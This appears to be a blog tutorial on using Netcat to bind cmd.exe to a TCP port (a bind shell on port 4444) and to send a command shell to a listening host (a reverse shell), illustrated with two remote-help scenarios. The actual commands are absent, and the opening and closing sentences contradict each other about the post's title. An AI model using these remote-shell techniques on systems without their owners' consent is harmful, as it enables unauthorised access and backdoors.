The other title for this post is “Netcat as a BackDoor.” instead of using the title "Netcat as Remote shell." There is a very specific reason for not using this title, and I will point it out later in the post.
One of Netcat's features is command redirection. This means that Netcat can take an exe file and redirect the input, output and error messages to a TCP/UDP port, rather than to the default console.
Take for example the cmd.exe . By redirecting the stdin/stdout/stderr to the network, we can bind cmd.exe to a local port. Anyone connecting to this port will be presented with a command prompt belonging to this computer. If this is confusing for you, be patience and check out the following
example.
For now, let's talk about Ram and Shyam – two persons trying to connect to each other's computers. Please take note of the network configurations
Scenario 1 – Bind Shell
In scenario 1, Shyam has requested Ram's assistance and asked him to connect to his computer and help him out. As you can see, Shyam has a non RFC 1918 address and is directly connected to the internet. Ram, however, is behind a NAT connection.
In order to complete the scenario, Shyam needs to bind cmd.exe to a TCP port on his machine and inform Ram which port to connect to.
Shyam's Machine
Anyone connecting to port 4444 on Shyam's machine will be presented with Shyam's command prompt, with the permissions that nc was run with.
Ram's Machine
Scenario 2 – Reverse Shell
In scenario 2 Ram is requesting help from Shyam. Our assumption is that Shyam does not control the NAT device which he is behind. Is there any way for Shyam to connect to Ram's computer and solve his problem?
Another interesting Netcat feature is the ability to send a command shell to a listening host. So in this situation, although Ram cannot bind a port to cmd.exe locally to his computer and expect Shyam to connect, he can send his command prompt to Shyam's machine.
Shyam's Machine
Ram's Machine
Shyam's Machine after connection
The reason I didn't give the title “Netcat as a backdoor” because people usually start thinking about the malicious implementations of such a backdoor, and one of the first questions asked is: “How to I get Netcat to run on the victim machine, without remote user intervention?”. That's why I named the title "Netcat as Remote shell."